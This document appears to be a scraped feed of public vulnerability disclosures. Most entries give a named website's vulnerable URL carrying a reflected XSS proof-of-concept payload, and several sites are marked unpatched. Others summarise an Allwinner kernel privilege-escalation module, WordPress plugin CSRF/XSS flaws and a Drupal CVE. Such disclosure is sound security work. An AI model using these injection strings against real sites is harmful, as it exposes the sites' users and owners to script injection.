elliottfh.com XSS vulnerability

Vulnerable URL: http://www.elliottfh.com/runtime.php?NavigatorId=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No...

oto.my XSS vulnerability

Vulnerable URL: http://www.oto.my/search/?keyword=bmwsource=paultanmedium=homepagesearchboxcampaign=oto=0x524d Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 09:02 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

pimsholidays.com XSS vulnerability

Vulnerable URL: http://www.pimsholidays.com/Gallery/dirsys/slideshow.php?0=Pueblo-Esparragos=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

Allwinner 3.4 Legacy Kernel Local Privilege Escalation

This module attempts to exploit a debug backdoor privilege escalation in Allwinner SoC based devices. Vulnerable Allwinner SoC chips: H3, A83T or H8 which rely on Kernel 3.4. Vulnerable OS: all OS images available for Orange Pis, any for FriendlyARM's NanoPi M1, SinoVoip's M2+ and M3, Cuebietech'...

apache-labs.com XSS vulnerability

Vulnerable URL: https://apache-labs.com/products.php?searchstring=" onmouseover=prompt/OPENBUGBOUNTY/ style="color: rgb255,0,0" "Mouse over me Red Link :" Details: Description| Value ---|--- Patched:| Yes, at 01.10.2016 Latest check for patch:| 01.10.2016 11:18 GMT Vulnerability type:| XSS...

selvadeipini.it XSS vulnerability

Vulnerable URL: http://www.selvadeipini.it/search.php?s=%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 9836369 VIP website...

WordPress Google SEO Pressor Snippet 1.2.6 XSS

FULL DISCLOSURE Product : Google SEO Pressor Snippet Plugin Exploit Author : Rahul Pratap Singh Version :1.2.6 Home page Link : https://wordpress.org/plugins/google-seo-author-snippets/ Website : 0x62626262.wordpress.com Linkedin : https://in.linkedin.com/in/rahulpratapsingh94 Date : 21/4/2016 XS...

ateliedegesso.com.br XSS vulnerability

Vulnerable URL: http://www.ateliedegesso.com.br/search.php?s=%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

moncineplex.ca XSS vulnerability

Vulnerable URL: http://www.moncineplex.ca/Search?query="-alert'openbugbounty'-" Details: Description| Value ---|--- Patched:| Yes, at 23.11.2017 Latest check for patch:| 23.11.2017 23:16 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VI...

yamaha-motor.eu XSS vulnerability

Vulnerable URL: http://www.yamaha-motor.eu/uk/search/index.aspx?q="+onmouseover=alert"OPENBUGBOUNTY"+x=" Details: Description| Value ---|--- Patched:| Yes, at 30.12.2016 Latest check for patch:| 30.12.2016 20:32 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

WordPress leenk.me 2.5.0 Cross Site Request Forgery / Cross Site Scripting

I would like to disclose CSRF and stored XSS vulnerability in Wordpress plugin LeenkMe version 2.5.0. The plugin can be found at https://wordpress.org/plugins/leenkme/ In the page wp-content/plugins/leenkme/facebook.php XSS vulnerable Fields are : - facebookmessage - facebooklinkname -...

WordPress Plugin Kento Post View Counter 2.8 - Cross-Site Request Forgery Cross-Site Scripting

WordPress Plugin Kento Post View Counter 2.8 - Cross-Site Request Forgery Cross-Site Scripting I would like to disclose CSRF and stored XSS vulnerability in Kento post view counter plugin version 2.8 . The vulnerable Fields for XSS are kentopvcnumberslang kentopvctodaytext kentopvctotaltext The...

show.microinvest.net XSS vulnerability

Vulnerable URL: http://show.microinvest.net/search.php?s=%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 167497 Google...

riccartonsigns.co.nz XSS vulnerability

Vulnerable URL: http://www.riccartonsigns.co.nz/search.php?q=%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 08:33 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

kiropraktik.dk XSS vulnerability

Vulnerable URL: http://www.kiropraktik.dk/search.php?q=%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculat...

stockmaritime.at XSS vulnerability

Vulnerable URL: http://www.stockmaritime.at/search.php?q=%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

jinlicomposites.cn XSS vulnerability

Vulnerable URL: http://www.jinlicomposites.cn/productlist.php?id=%22%3E%3Cscript%3Eprompt%28%2FXSSPOSED+%2F%29%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown...

scholastic.de XSS vulnerability

Vulnerable URL: http://www.scholastic.de/en/emea-la/search/asd%22%3E%3Csvg%20onload=alert%28%22XSSPOSED%22%29%3E Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 08:24 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

CVE-2016-3170

Drupal Core CVE-2016-3170 affects Drupal 7.x before 7.43 and Drupal 8.x before 8.0.4. The issue arises when a configuration allows login by email and a module permits logging in, enabling remote attackers to disclose usernames via the Forgot Password workflow. The vulnerability is confirmed by NV...

blog.activision.com XSS vulnerability

Vulnerable URL: https://blog.activision.com/community/activision/support/tags?tags=%22%3E%3C/option%3E%3C%20/select%3E%3Cbody/onpageshow=prompt%28%29%3E%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status...